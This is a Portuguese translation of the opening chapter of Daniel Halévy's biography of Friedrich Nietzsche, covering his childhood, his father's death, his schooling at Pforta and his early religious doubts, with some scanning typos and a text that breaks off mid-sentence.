VIDA DE FREDERICO
NIETZSCHE
Autor: Daniel Halévy
Tradutor: Jerônimo Monteiro
Extraído da edição da Editora Assunção ltda.
Coleção Perfis Literários
O livro foi dividido em 7 páginas
Cap. 1 – OS ANOS DE INFÂNCIA |
Cap. 2 – OS ANOS DA JUVENTUDE |
Cap. 3 – FREDERICO NIETZSCHE E RICHARD WAGNER — TRIEBSCHEN |
Cap. 4 – FREDERICO NIETZSCHE E RICHARD WAGNER — BAYREUTH |
Cap. 5 – CRISE E CONVALESCENÇA | Cap. 6 – O TRABALHO DO "ZARATUSTRA" |
Cap. 7 – A ÚLTIMA SOLIDÃO |
I – OS ANOS DE INFÂNCIA
Karl-Ludwig
Nietzsche, jovem ministro da Igreja Luterana. pertencia a uma família de
eclesiásticos. Seu pai e seu avô haviam ensinado teologia. Sua esposa era filha
e nela de ministros. Nada sabendo das novas tendências do pensamento dos
desejos que se agitavam, seguia serenamente a dupla tradição — uma revelada por
Deus aos seus discípulos e a outra Indicada aos homens pelos príncipes. Seus
superiores estimavam-no muito. Frederico-Guilherme IV, rei da Prússia,
dignava-se protegê-lo. Ele podia confiar numa bela carreira, mas sofria dos
nervos, estava deprimido e tinha necessidade de. repouso.
Pediu que lhe
dessem uma paróquia no campo; confiaram-lhe a de Rocken, pobre vila
cujos casebres se erguem na vasta planície dos confina da Prússia e de Saxe –
um sitio melancólico a que Karl-Ludwig Nietzsche logo se afeiçoou. Aceitou a
solidão. Grande músico, improvisava muitas vezes, no órgão rústico, ao
entardecer, fechado no templo, e os camponeses, do lado de fora, ficavam a
ouvi-lo com admiração,
O pastor e sua
esposa esperaram quatro anos pelo primeiro filho, que nasceu, afinal, no dia 15
de outubro de 1844, que era o dia do aniversário do rei, Esta coincidência fez
aumentar a alegria do pai. "O mês de outubro, mês bendito! — escreveu ele
no registro do templo — tu sempre me cumulaste de alegrias. Mas, de todas as
que me trouxeste, esta é mais profunda, a mais magnífica: batizo o meu primeiro
filho… Meu filho, Frederico-Guilherme, tal será teu nome sobre a terra, para
eterna lembrança do real benfeitor cujo dia natal é o teu".
O menino teve,
logo, um irmão, e depois, uma irmã. Algumas recordações conservadas pelas
mulheres descrevem-nos este lar onde a alegria passou rapidamente. O pequeno
Frederico foi tardo em falar. Olhava para todas as coisas com olhos graves, e
calava-se. Aos dois anos e meio, diz sua primeira palavra. O pastor gosta muito
deste companheiro silencioso e leva-o com prazer nos seus passeios. Frederico
Nietzsche jamais se esqueceu do som dos sinos longínquos sobre a
planície imensa e semeada de lagos, nem da impressão de sua mão apertada na
forte mão do seu pai.
A infelicidade
chegou bem depressa. No mês de agosto de 1848, o pai tombou do alto da
escadaria e bateu violentamente com a cabeça nas pedras da
calçada. O choque determinou» ou. talvez, não se sabe ao certo, precipitou a
eclosão de uma terrível doença. Karl-Ludwig Nietzsche perdeu a razão e morreu
depois de um ano de loucura e sofrimento. Frederico tinha, então, quatro anos.
Os trágicos dias afetaram o seu espírito: o despertar, os soluços que enchiam a
casa, o pavor do quarto fechado o silêncio e o abandono; os sinos, os cânticos,
os discursos funerários, o caixão sepultado sob as lages da igreja… Por muito
tempo ficou abalado, por ter tão cedo presenciado estas coisas, visões
atormentavam suas noites, e pressentia uma catástrofe próxima. Sonhou — ouçamos
a sua ingênua descrição, feita aos quatorze anos:
Quando a
gente despoja a árvore de sua copa, ela se desfolha, marcha t os pássaros
abandonam seus ramos. Nossa família foi despojada de sua copa, toda a alegria
desapareceu de nossos corações, e profunda tristeza se apossou de nós» Mal se
haviam fechado nossos ferimentos e foram de novo dolorosamente abertos. Naquele
tempo, eu sonhei que ouvia na igreja o órgão tocar tristemente, como durante os
enterros. E como procurava o causa disso, uma tumba se abriu
rapidamente e meu pai apareceu andando com sua mortalha. Atravessou a igreja e
voltou bem logo, com uma criança nos braços. A tumba abriu-se novamente, meu
pai desceu e a pedra tornou a fechar-se. No mesmo instante, o órgão deixou de
se ouvir, e eu acordei. Contei, pela manhã esse sonho a minha querida mãe.
Pouco depois, meu irmãozinho Joseph caiu doente, com ataques de nervos e morreu
dentro de poucas horas. Nossa dor foi terrível. Meu sonho se havia realizado
fielmente, e o pequeno corpo depositado nos braços de seu pai. Após esta dupla
infelicidade, o Senhor no céu foi nosso único consolo. Isto foi pelo fim de
janeiro de 1850.
Na primavera
deste ano a viúva do pastor deixou a casa paroquial e foi residir numa cidade
vizinha, em Naumburg-sur-Saale. Estava perto dos seus parentes, que moravam no
campo, não longe dali. A mãe e a irmã de seu marido vieram habitar com ela uma
pequena casa à qual as crianças, sempre desoladas a custo se habituaram.
Naumburg era uma
cidade real, criada pelos Hohenzollern e dedicada à sua dinastia. Uma burguesia
de funcionários e pastores, famílias de oficiais, e alguns fidalgos vivia entre
as muralhas cobertas de musgo e cujas cinco portas eram fechadas todas as
noites. A existência era grave e medida. O sino da igreja metropolitana
envolvia a pequena cidade com seus apelos; despertava-a, fazia-a adormecer,
reunia-a para as festas do culto ou do Estado. O próprio Nietzsche era um
garoto grave e comedido. Seus instintos iam bem com os usos de Naumburg e sua
alma ativa bem cedo descobriu belezas nessa nova vida. Admirava as paradas
militares, os serviços , religiosos com órgão e coros, a majestade dos
aniversários. A cada ano, comovia-se com a volta do Natal. O dia de teu
natalício causava-lhe menor perturbação, mas alegria maior.
Sendo dia de
meu aniversário também o do nosso bem-amado rei — escreveu
ele — nesse dia sou despertado pela música militar. Recebo meus
presentes; a cerimônia termina bem depressa e vamos juntos a igreja. Embora o
sermão não seja escrito em minha intenção, esforço-me para o ouvir e tomo a
melhor parte para mim. Em seguida, reunimo-los na escola para assistir à grande
festa… Antes de nos separar-nos cantamos em coro um hino patriótico e
o diretor concilium dimisit. Então é que começa o melhor momento para
mim. Chegam meus amigos e passamos juntos uma tarde agradável.
Frederico não se
esquecia de seu pai; queria, como ele e como todos os homens de sua família,
ser ministro, um dos eleitos que vivem perto de Deus e falam em seu nome. Não
compreendia uma profissão, mais digna nem mais conforme com seus desejos.
Embora fosse muito jovem, tinha a consciência exigente e meticulosa.
Ressentia-se dos menores ralhos e desejava governar-se a si próprio. Quando o
assaltava um escrúpulo de consciência, retirava-se para um canto isolado,
meditava, examinava-se e não voltava a brincar com sua irmã senão depois de se
ter deliberadamente arrependido e justificado. Um dia em que chovia
torrencialmente, sua mãe viu que ele voltava da escola sem guarda-chuva nem
capote, andando com passos iguais e lentos. Chamou-o. Ele entrou sem pressa.
"Vivem nos recomendando que não corramos na rua", explicou. Seus
colegas chamavam-no "o pequeno pastor" e escutavam em respeitoso
silêncio quando lia em voz alta um capitulo da Bíblia.
Ele não ignorava
seu prestigio. "Quando a gente é senhor de si próprio — dizia gravemente a
sua irmã — é senhor do mundo inteiro". Era orgulhoso, acreditava que a
raça dos Nietzsche era nobre, graças a uma lenda familiar, que a avô gostava de
contar. Frederico e sua irmã Lisbeth Viviam sonhando com ela: antepassados
longínquos haviam habitado a Polônia. Eram condes e chamavam-se Nietzkii. Ao
tempo da Reforma, desafiando a perseguição, romperam com a Igreja Católica.
Tiveram que fugir, levando seu filho nascido na véspera, e durante três anos
erraram de cidade em cidade, miseráveis e perseguidos. A mãe não deixou de
amamentar seu filho e assim lhe deu, apesar das provações, uma prodigiosa
saúde. Ele viveu muitos anos e transmitiu à sua linhagem essa dupla virtude de
força e longevidade. Frederico não se cansava nunca de ouvir tão bela aventura.
Pedia muitas vezes, também, que lhe repetissem a historia dos poloneses.. A
eleição do rei, pelos nobres reunidos a cavalo numa grande planície e o direito
que tinha o menor dentre eles de opor sua recusa à vontade geral – enchiam-no
de admiração; não tinha dúvidas de que esta era a primeira raça do
mundo. "Um conde Nietzki jamais deve mentir", disse ele um dia a sua
irmã. As paixões, os fortes desejos que, trinta ou quarenta anos mais
tarde haviam de inspirar a sua obra, já naquele tempo animavam a criança
de larga fronte, grandes olhos e que mulheres infelizes envolviam em carinhos. Aos nove anos, suas inclinações artísticas se estenderam: a musica foi-lhe revelada
por um coro de Haendel que ouviu na igreja. Estudou piano Improvisava,
acompanhava-se cantando os hinos, e a sua mãe se emocionava recordando o mando
que, como o menino agora brincava e improvisava no órgão de Rocken.
Apossou-se dele
o instinto de criar — instinto já tirânico. Compôs melodias, fantasias,
uma suíte de mazurcas dedicadas aos "seus ancestrais poloneses".
Escreveu versos e mãe, avó, tias e irmã receberam, em cada aniversário, um
poema com sua respectiva música. Seus próprios divertimentos passaram a ser
pretexto para trabalho: redigia tratados didáticos contendo regras e conselhos
que remetia a seus companheiros. Aprendeu rapidamente arquitetura; depois, em
1854, durante o sítio de Sebastopol, cuja captura o fez chorar – porque amava
os eslavos e detestava os revolucionários franceses — estudou balística e a
defesa das praças fortes. Ao mesmo tempo fundou, com dois amigos, um Teatro das
Artes, onde se representaram dramas antigos e bárbaros, cujo autor era ele: Os Deuses do Olimpo e um Orkadal.
Deixou a escola
para ingressar no colégio de Naumburg. A sua superioridade demonstrou-se tão
flagrante que os professores aconselharam à senhora Nietzsche mandá-lo para um
estabelecimento de ensino superior. A pobre mulher hesitou. É que almejava ter
junto de si o seu filho.
Isto foi em
1858. Entrando em férias, já agora mais graves, foi gozá-las, como de hábito,
na vila de Poblés, à sombra dos outeiros cobertos de bosques à margem do fresco
e preguiçoso Saale, em cujas águas nadava todas as manhãs. Acompanhado de sua
irmã Lisbeth, hospedava-se em casa de seus avós maternos. Era feliz, mimado
pela vida, mas o futuro incerto preocupava seu pensamento.
Chegava a
adolescência. Talvez tivesse que se separar dos seus, trocar de lugar e de
amigos. Pressentia, com um pouco de ansiedade, o novo curso que
sua vida ia tomar. Rendava o passado pueril, longo passado do qual os homens não
devem sorrir, treze anos cheios pelos primeiros afetos, as primeiras tristezas,
os primeiros orgulhos de uma alma ambiciosa pela esplêndida descoberta da
música e da poesia. As recordações assaltavam-no, numerosas, vivas e tocantes.
Nietzsche, que tinha a alma lírica, surpreende-se como que embriagado de si
próprio. Em doze dias escreveu a história de sua infância, e ao terminar,
sentia-se feliz:
Consegui
terminar o primeiro caderno — escreveu — e estou
contente por isso. Escrevi com imenso prazer e sem um momento de fadiga. Como é
bom fazer desfilar novamente diante dos olhos os nossos primeiros anos,
acompanhando o desenvolvimento do espírito! Contei sinceramente toda a verdade,
sem poesia, sem preocupação literária... Possa eu escrever ainda outros
cadernos semelhantes a este!
E em seguida vêm
quatro pequenos versos:
Ein
Spiegel ist das Leben. In ihm sich zu erkennen,
Mõcht ich das erste nennen, Wonach wir nur anch strebenü
("A vida
é um espelho. — Nele nos reconhecemos,
— É, digo, o primeiro alvo — para o qual cada um de nós se
esforça.")
A escola de
Pforta fica a duas léguas de Naumburg à margem do Saale. Desde que existe a
Alemanha, existem em Pforta alunos e professores. Alguns monges cistercienses,
vindos do ocidente latino no século XII para converter eslavos, conseguiram
obter essas terras atravessadas pelo rio. Levantaram grandes muros, dentro dos
quais construíram os edifícios e a igreja, e fundaram a tradição que até agora
subsiste. No século XVI foram expulsos pelos príncipes saxões, mas a escola foi
mantida, e os luteranos, instalados em seu lugar, conservaram seus métodos.
As crianças
devem ser educadas sob princípios religiosos — diz uma ordem de 1540. — Durante
seis anos elas se exercitarão no conhecimento das letras e na disciplina das
virtudes." E os alunos permaneciam separados de suas famílias,
enclausurados com seus mestres. Eram-lhes impostas certas regras de bons
costumes: estavam proibidos de se tratar por "tu" e de mostrar
maneiras livres. Estabelecera-se entre eles uma certa hierarquia: os mais
velhos tomavam conta dos mais jovens, e cada professor servia de tutor a vinte
discípulos. Ensinavam-lhes religião, hebreu. grego e latim. . O espírito
humanista, o moralismo protestante e o rigor alemão formaram, nesta velho
mosteiro, uma aliança singular, vivaz, um modo fecundo de viver e de sentir.
Muitos homens eminentes ou notáveis receberam sua instrução em Pforta Novalis, os Schlegel, Fichte — Fichte o filósofo, o educador, e patriota,
glória da sua estirpe. Frederico Nietzsche sempre havia desejado estudar em Pforta. Concederam-lhe uma bolsa, e ele deixou a família em outubro de 1858.
Ao entrar,
desaparece para nós. A única recordação que temos do seu primeiro
ano escolar é uma anedota heróica e pueril: a história de Mucias Scaevola que
parecia inverossímil a muitos de seus colegas, que a negam: "homem algum
poria a sua mão no fogo", opinaram os jovens críticos. Nietzsche não lhes
respondeu, mas, tirando do fogão um carvão ardente, colocou-o na palma da mão.
E para sempre êle ficou com a marca desta queimadura, Janto mais visível porque
tomara o cuidado de prolongar e aumentar a chaga gloriosa derramando sobre ela
cera derretida.
O mais certo é
que tenha suportado com dificuldade a nova vida. Divertia-se pouco, não fazia
amizade com desconhecidos, e os ternos hábitos do lar maternal haviam-no
preparado mal para a disciplina de Pforta. Saía apenas uma vez por semana, às
tardes de domingo. Sua mãe, sua irmã e dois amigos que tinha em Naumburg vinham
buscá-lo à porta e passavam com ele o dia num albergue da vizinhança.
Em julho de
1859, Nietzsche teve um mês de liberdade. Os alunos de Pforta não tinham outras
férias. Foi rever as pessoas e os lugares que amava, fez um rápida viagem a
Iena e Weimar. Durante o ano ele não redigira senão as suas lições. Mas
reencontrou o prazer de escrever e compôs, sobre as suas impressões do verão,
uma fantasia sentimental a que pão falta algo de patético.
O sol já se
havia posto — escreveu ele — quando deixamos o sombrio
recinto; atrás de nós o céu aparece banhado de ouro; sobre nossas cabeças
flutuam nuvens róseas; e lá em frente, a cidade repousando sob a doce brisa da
tarde… — Guilherme — disse eu ao meu amigo — haverá
alegria maior do que errar juntos através do mundo? Oh prazer da amizade, da
fiel amizade; oh hálito da noite magnífica de verão, perfume das flores e rubor
da tarde! Não sente os seus pensamentos elevar0se, e como as alegres
andorinhas, pairar sobre as nuvens coroadas de ouro? Como são maravilhosas as
paisagens da tarde! É como se estivesse descobrindo a minha própria vida. Eis
como se agrupam os meus dias: uns retidos na penumbra, e outros, cheios de
exaltação e liberdade. – Nesse momento, um grito agudo chegou até nós. Vinha do
manicômio que se achava próximo. Entreapertamos as mãos mais fortemente, como
se um gênio mau nos tivesse tocado com sua asa pavorosa. Desaparecei, oh
potências do mal! — Mesmo neste belo mundo existem infelizes. Mas, que
é, então, a infelicidade?
No começo de
agosto voltou à Pforta. A volta entristeceu-o tanto como a primeira entrada
ali. Não pôde aceitar esta busca opressão e não pode deixar de pensar em si
mesmo. Mantém, durante algumas semanas, um diário íntimo que nos revela seu
estado de espírito e o emprego de cada um de seus dias. Ai estão algumas
máximas corajosas contra o tédio, ditadas pelo professor e que ele transcreveu;
depois, a descrição de seus estudos, suas distrações, suas leituras e as crises
que o deprimem. A alma lírica do rapaz, ora resiste e ora se abandona às suas
impressões e dificilmente se dobra sob a disciplina. Sob a pressão da emoção,
ele abandona a presa, muito pouco musical para a sua melancolia: aparecem o ritmo
e a rima. A inspiração dita-lhe alguns versos,- uma quadra ou uma sextilha. Ele
não rebusca, nem procura reter a inspiração; segue-a quando ela surge; e apenas
declina, a prosa reaparece, como num diálogo shakesperiano.
Às vezes, a vida
em Pforta é embelezada por horas de alegria simples e moça. Os rapazes
passeiam, cantando em coro, e vão nadar. Nietzsche toma parte nestes
divertimentos e descreve-os. Quando o calor se faz pesado demais, a água toma o
lugar do estudo. Os duzentos alunos descem para o rio, cadenciando seus passos
com uma canção. Atiram-se à água e descem a corrente, sem desorganizar a ordem
da marcha, realizando uma prova muito longa, que é difícil para os mais jovens,
mas deixa-os orgulhosos; quando o chefe apita, sobem para a margem, vestem os
uniformes que vinham num bote, atrás deles, e em seguida, sempre cantando e
marchando em ordem, voltam ao trabalho e à velha escola. "É
surpreendente!" diz Nietzsche.
Chega o fim de
agosto: oito dias, depois, seis; um longo mês se passa sem que uma só linha
seja acrescentada ao diário. Ele o reabre, afinal, para o concluir:
Meu estado de
espírito mudou muito, desde o dia em que comecei a escrever este diário. No
verão passado era verdejante e alegre; agora, oh tristeza, é como o último
outono. Então, eu era unter-tertianer (aluno do 3.o ano), agora,
subi um grau… O meu aniversário passou, fiquei mais velho — o tempo
passa como a rosa da primavera, e o prazer, como a espuma do regato.
Encontro-me, neste momento, tomado de um extraordinário desejo de saber, de
acumular cultura geral. Li Humboldt e foi ele quem me deu o impulso, Possa esta
nova inclinação durar como aquela que me prende à poesia?
Em seguida,
Nietzsche estabeleceu um vasto programa de estudos onde a geologia, a botânica,
a astronomia se aliavam à estilística latina, ao hebreu, às ciências militares,
a todas as técnicas. "E sobre todas as coisas — diz ele — a religião,
fundamento de todo o saber! Grande é o domínio do saber, infinita a
busca da verdade!"
Um inverno e uma
primavera se passam, e o rapaz trabalha. Mas chegam as segundas férias e a
terceira volta à escola. O outono despe os grandes carvalhos sobre as terras de
Pforta. Frederico Nietzsche tem dezessete anos e entristece
Havia muito
tempo que ele se impusera uma penosa disciplina: Lera Schiller, Hölderlin,
Byron; pensa nos deuses da Grécia e no sombrio Manfredo, mágico poderoso
que, cansado de seu poder, procura em vão o repouso da morte que sua arte havia
vencido. Que importam a Nietzsche as lições de seus professores. Ele medita os
versos do poeta romântico:
Sorow
is knowledge: They’who know the most
Must mourn the deespest over the fatal truth,
The tree of knowledge is not that of life.
(O saber é amargo. Aqueles que mais sabem
Mais profundamente choram a fatal verdade:
A árvore do saber não será, jamais, a árvore da vida(*)
Ele se cansa,
enfim. Quer escapar à engrenagem das aulas, dos deveres que prendem toda sua
vida, e, atento apenas a si mesmo, conhecer os sonhos de que seu espírito está
transbordante.
Faz confidencias
a sua mãe e a sua irmã; declara que seus projetos para o futuro mudaram. A
Universidade o aborrece. Ele não quer ser professor, mas músico. Sua mãe
faz-lhe ver a razão e consegue acalmá-lo. Mas conforma-se por pouco tempo. A
morte de um professor ao qual ele estava ligado, acabou de o confundir.
Negligenciou o trabalho, isolou-se e recolheu-se.
Escreve. Tivera,
desde a primeira infância, o instinto da frase e da palavra, do pensamento
visível. Não cessou de escrever, e nem uma nuance de sua inquietação nos ficou
escondida. Compreendeu o vasto universo do romantismo e da ciência, sombrio,
agitado, sem amor. Esta temível visão fascina-o e o aterroriza. Sua antiga
piedade ainda o impressiona: exprobara-se por sua veleidade e audácia de negar,
como de outros tantos pecados. Procura conservar a fé religiosa, cada dia
menor. Não rompe à maneira francesa e católica; desliga-se com lentidão e medo:
com lentidão, porque venera estes dogmas ou símbolos que povoam todo o seu
passado, a recordação de sua casa e de seu pai; com medo, porque sabe que,
renunciando à antiga segurança, não encontrará uma segurança nova, mas os
problemas surgirão aos punhados. Medindo a gravidade suprema da escolha, ele
medita.
Uma tal
tentativa — escreveu ele — não é trabalho para algumas
semanas, mas para uma vida. É possível que, armada com os resultados de uma
reflexão pueril, a gente pretenda negar a autoridade de dois mil anos garantida
pelos mais profundos pensadores de todos os tempos? Será possível que, com
fantasias e rudimentos de idéias a gente pretenda afastar de si estas angústias,
estas bênçãos religiosas de que toda a História está penetrada?
Desdenhar dos
problemas filosóficos sobre os quais o pensamento humano está em luta
há milhares de anos; revolucionar crenças que, recebidas pelos homens mais
autorizados, elevaram-nos à verdadeira humanidade; ligar a filosofia ás
ciências naturais, sem mesmo conhececer os generosos resultados de uma e das
outras; e, finalmente, tirar das ciências naturais um sistema do real quando o espírito
não percebeu ainda nem a unidade da história universal, nem os mais essenciais
princípios — i uma perfeita temeridade.
…Que é,
então, a humanidade? Mal o sabemos: um ponto num conjunto, um período num
infinito, uma produção arbitrária de Deus? Será o homem outra coisa mais que
uma pedra evoluída através dos mundos intermediários das flores e dos faunos?
Será ele, no presente um ser completo, ou que lhe reservará a história? Ê$te
eterno faturo não terá fim? Quais serão as molas deste grande relógio? Estão ocultas,
mas, por mais longa que seja a grande hora que chamamos história, a todos os
Instantes elas, são as mesmas. As peripécias são inscritas sobre o quadrante; o
ponteiro progride, e, quando passar a décima-segunda hora, a série recomeça: é
o inicio de um período na história da humanidade. Aventurar-se, sem guia nem
bússola, no oceano da dúvida, é perda e loucura para um cérebro jovem; em sua
maioria, são destroçados pela tempestade, e pequeno é o número daqueles que
descobrem novas regiões… Muitas vezes toda a nossa filosofia me pareceu uma
torre de Babel… Uma infinita confusão no pensamento popular é o desolador
resultado; devemos esperar grandes desordens, no dia em que as multidões
compreenderem que todo o cristianismo está baseado em
afirmartivas gratuitas. A existência de Deus, a imortalidade, a autoridade da
Bíblia, a revelação — serão para sempre problemas. Esforcei-me para
negar tudo. Ah/ Destruir, é fácil. Mas, construir…
Que maravilhoso instinto transparece
nesta página! Frederico Nietzsche apresento questões precisas que em seguida
irão prender-se ao seu pensamento, e deixa pressentir as enérgicas respostas
que confundirão os homens: a humanidade é um vácua, um produto
arbitrário de Deus; um destino absurdo leva-a a reiniciar-se continuamente;
volta sempre ao princípio. Toda a soberania brota da força, e a força é cega; guia-se
pelo acaso. Frederico
Nietzsche não afirma coisa alguma; desaprova as proposições precipitadas
sobre assuntos graves. Quer abster-se, hesita; e, afinal, quando se
entrega, quer dar-se todo, inteiro. Suspende seu pensamento. Mas ele é
transbordante, e, malgrado ele próprio, assim se exprime, às vezes:
Bem logo, a
submissão á vontade de Deus e à humanidade não, serão senão um véu atirado
sobre a pusilaminidade que experimentamos no momento em que devemos afrontar
bravamente o destino.
Toda a moral,
todo o heroísmo nietzschianos estão condensados nestas poucas palavras.
Já citamos os
autores de que Nietzsche mais gostava então: Schiller, Byron, Hölderlin. Este,
então pouco conhecido, era o seu preferido. Descobrira-o como a gente, com um
olhar, descobre um amigo entre a multidão. Foi um encontro singular. A vida do
poeta, que acabava de morrer, parecia-se com a vida do menino, apenas
começada. Hölderlin, filho de pastor protestante, quis seguir a vocação
paterna. Em 1780 estudou teologia na Universidade de Tubíngue, com colegas que
se chamavam Hegel, Schelling. Deixou de crer. Conhecia Rousseau, Goethe,
Schiller e o romantismo embriagava-o. Gostava da natureza misteriosa, da lúcida
Grécia. Ama-as simultaneamente e sonha em unir suas belezas numa obra alemã.
Era pobre e tinha que levar a dura vida do poeta necessitado. Professor,
suportou o aborrecimento das casas ricas, em quase todas desprezado e em uma,
muito querido: satisfação logo seguida pela desilusão. Volta à vila natal, onde
as pessoas e o ar são doces. Trabalha, escreve todo o tempo de que dispõe, mas pesa-lhe viver à custa dos seus, e afasta-se. Manda imprimir alguns
versos, e o público não gosta desses belos poemas, onde o gênio de um
desconhecido faz os deuses do Olimpo passar pelas sombras das florestas
renanas. O infeliz Hölderlin sonha criações mais vastas, mas retém o sonho : a
Alemanha é um mundo, e a Grécia um outro mundo. É preciso a força de um Goethe
para as unir e fixar as palavras eternas de Fausto, raptor de Helena.
Hölderlin escreveu fragmentos de um poema em prosa. Seu herói é um jovem grego que se lamenta da ruína de sua raça, e, frágil precursor de
Zaratustra, clama pela renascença de uma valorosa humanidade. Compôs três cenas
de uma tragédia cujo herói é Empédocles, tirano de Agrigente, poeta, filósofo,
grande inspirador das multidões, grego isolado, por sua própria grandeza, entre
os gregos, mágico que, possuindo toda a natureza, cansa-se das satisfações que
a vida pode oferecer e se retira para o cimo do Etna, deixando a família, seus amigos,
seu povo que o quer, e, um dia, ao nascer da noite, atira-se na
cratera. E obra de fôlego: Hölderlin abandona-a. A tristeza o enfraquece e
exalta. Quer deixar a Alemanha, onde tanto tem sofrido, e libertar os seus de
sua vida incômoda. Propõem-lhe um emprego em Bordéus, na França, e ele
desaparece. Seis meses mais tarde, volta ao lar, vestido de farrapos, queimado
pelo sol. Interrogam-no, mas ele nada diz. Procuram informar-se, e, após
grande trabalho, vêm a saber que ele atravessou a França a pé, sob o sol de
agosto. Sua inteligência este perdida.
Ele acaba-se,
abisma-se num torpor que dura quarenta anos. Morre em 1843, alguns meses antes
do nascimento de Nietzsche. Um platoniano podia deleitar-se pensando que um
único gênio migrara de um corpo para o outro. A mesma alma alemã romântica por
natureza e clássica por aspiração, despedaçada, enfim, pelos desejos, anima
estes dois homens e predestina-os a um fim igual. A gente parece surpreender,
através de suas vidas, o trabalho cego da raça, a qual, perseverando na
monótona imagem, envia ao mundo, de século em século, filhos iguais para provas
iguais.
Naquele ano, ao aproximar-se
o verão, Nietzsche sentiu, nos olhos e na cabeça, fortes dores de natureza
incerta, talvez nervosa. Suas férias estragaram-se. Mas conseguiu licença para
ficar em Naumburg até o fim de agosto, e sentiu-se bem pago de suas tristezas
pelas alegrias de um prolongado lazer.
Nietzsche está
em ótima disposição quando volta a Pforta. Não resolveu, mas explorou suas
dúvidas e pôde, sem se violentar tornar a ser um aluno trabalhador. Não pensa
em interromper suas leituras, que são imensas. Não deixa de enviar
pontualmente, todos os meses, a seus dois amigos de Naumburg, poemas, trechos
de música para dança, ou lírica, ensaios de crítica ou filosofia, e estas
ocupações não prejudicam seu trabalho escolar. Dirigido por excelentes mestres,
estuda as línguas e literaturas da antigüidade. Seria feliz, se os insistentes
problemas de futuro e de profissão não começassem a atormentá-lo.
Meu futuro me
preocupa — escrevia ele a sua mãe em 1863: — Várias razões,
exteriores e interiores, fazem com que ele me pareça confuso e incerto. Sem
dúvida, sinto que serei capaz de vencer, na atividade que escolhem. Mas
falta-me força para afastar de mim uma série de coisas que me
interessam. Que hei de estudar? Não chego a decisão alguma e, no entanto, só eu
posso refletir e escolher. O que é certo é que aquilo que estudar, quero
estudá-lo a fundo. Mas a escolha é dificílima, pois quc se trata de encontrar o
domínio preciso onde a gente possa estar certo de se aplicar inteiramente. E
quantas vezes estas esperanças enganam! Como a gente se sente rapidamente
desviado por uma predileção momentânea, uma tradição de, família, ou simples
desejos! Escolher o futuro é jogar uma partida de loto onde há muitas pedras
pretas e poucas brancas. Atualmente, minha situação é incômoda. Dispersei o
interesse por uma multidão de domínios, de modo que, se satisfizer todos os
desejos, serei um homem muito instruído, mas dificilmente um animal profissional,
É claro que devo destruir muitos dos desejos, e, ao mesmo tempo, adquirir
novos. Mas quais serão os infelizes que devo atirar pela borda? Talvez sejam,
justamente, os meus mais queridos filhos…
Depois, as últimas
férias, e o começo do último ano, Nietzsche volta sem tristeza para a
velha escola que deverá deixar bem depressa. Vai encontrar deveres menos
rigorosos, um quarto particular e certas liberdades. Janta com um outro
professor que o convida, e assim, no próprio mosteiro conhece os primeiros
prazeres do mundo. Na casa de um dos professores, encontra uma jovem amável
Depois de vê-la por várias vezes, sente o amor, pela primeira vez em sua vida.
Durante alguns dias pensa unicamente nos livros que lhe vai emprestar, na
música que vai tocar com ela. Sua emoção é deliciosa, Mas a moça deixa Pforta,
e Nietzsche volta ao trabalho. O "Banquete" de Platão, as tragédias
de Ésquilo lhe dão seus últimos prazeres. Depois, ele se entrega aos devem
quotidianos. Às vezes senta-se ao piano, antes do jantar. Dois colegas que
ficaram seus amigos, Gersdorff e Paul Deussen, ouvem-no. Ele toca Beethoven ou
Schumann, ou improvisa.
A poesia está
sempre com ele. Basta um rápido descanso, uma folga de algumas horas: o lírico
reaparece. Na manhã de Páscoa, deixa a escola, vai à sua casa, diretamente ao
seu quarto, onde se encontra só. Sonha por um instante. Assalta-o uma multidão
de impressões, e ele escreve. É um intenso prazer, após a longa privação, e não
será digna de Zan-thustra esta página que transcrevemos?:
Aqui estou,
no limiar do primeiro dia da Páscoa, envolto em minha "robe de
chambre", sentado à minha lareira. Lá fora cai uma chuva fina. Perto de
mim, a solidão. Uma folha de papel branco está sobre a mesa.
Olho-a e entretenho-me, ratando a caneta entre meus
dedos, esmagado pela multitude inextrincável de idéias, sentimentos,
pensamentos que se comprimem e desejam ser descritos. Uns reclamam e fazem
grande tumulto: são os jovens, têm pressa de viver. Lá estão outros se
debatendo: são os velhos pensamentos, bem maduros, bem esclarecidos; como
velhos, eles olham despeitados a confusão que fazem os mais moços. É este
combate entre moços e velhos que determina nosso humor; e ao estadodo combate,
à vitória de uns e à fraqueza dos outros, é que chamamos, a cada minuto, o
nosso estado da alma –nosso stímmung.
… Às vezes, quando espio meus pensamentos
e sentimentos e os observo em religioso silêncio, tenho a impressão de que
facções bárbaras bramem e se agitam que o ar estremece e se dilacera, como se
um pensamento ou uma águia se tivesse atirado para o sol.
O combate é o alimento que dá força
à alma. Ela sabe escolher os seus frutos doces e esplêndidos Sob a pressão do
desejo de um novo alimento, ela destrói; luta com energia — mas como
sabe ser suave quando atrai seu adversário, aperta-o e se une a ele
inteiramente. Essa impressão que num minuto faz toda a nossa felicidade ou toda
a nossa tristeza, talvez deslize num instante, como os cortinados duma
impressão ainda mais profunda, para desaparecer diante desta que ê mais
importante. Assim se vão aprofundando as impressões de nossa alma, sempre
únicas, incomparáveis, extraordinariamente jovens e rápidas como o próprio
instante que as traz.
Nesse minuto,
penso em certas pessoas que amei; certos nomes, certas fisionomias passam pelo
meu espírito —não quero dizer que suas naturezas se tornem realmente
mais profundas e mais belas; mas é verdade que cada uma destas reminiscências,
quando as encontro, levam-me para impressões mais agudas — porque o espírito
não se conforma em voltar a um nível que já ultrapassou — ele tem
necessidade de se tornar maior, sempre maior. Eu vos saúdo, caras impressões,
ondulações maravilhosas de uma alma agitada. Sois numerosas como a natureza,
mas mais grandiosas; por isso que vós cresceis e vos esforçais sem cessar — e a flor, ao contrário, perfuma hoje como perfumava no dia de sua criação.
Eu não amo agora como amava há uma semana atrás; e não estou tão
disposto neste momento como estava quando tomei esta caneta para escrever.
Frederico
Nietzsche voltou a Pforta para preparar os últimos exames. Pouco faltou para
ser reprovado, pois em matemáticas não conseguiu média. Mas os professores,
desprezando esta insuficiência, conferiram-lhe o diploma. E ele deixou a velha
escola. Deixou-a com pena. Sua alma depressa se agarrava aos lugares onde
vivia. Agarrava-se com igual insistência às recordações felizes como às
melancólicas.
A despedida dos
alunos é uma cerimônia regulamentada. Eles se reúnem para orar em comum uma
última vez. Depois, aqueles que vão partir entregam aos professores um
testemunhou escrito de sua gratidão. A carta de Frederico Nietzsche foi
emocionante pelo acento patético e solene que tinha. Foi a Deus que ele se
dirigiu: "A Ele, que me deu tudo. os meus primeiros agradecimentos. Que
oferta lhe poderei fazer, senão o cálido reconhecimento de meu coração, seguro
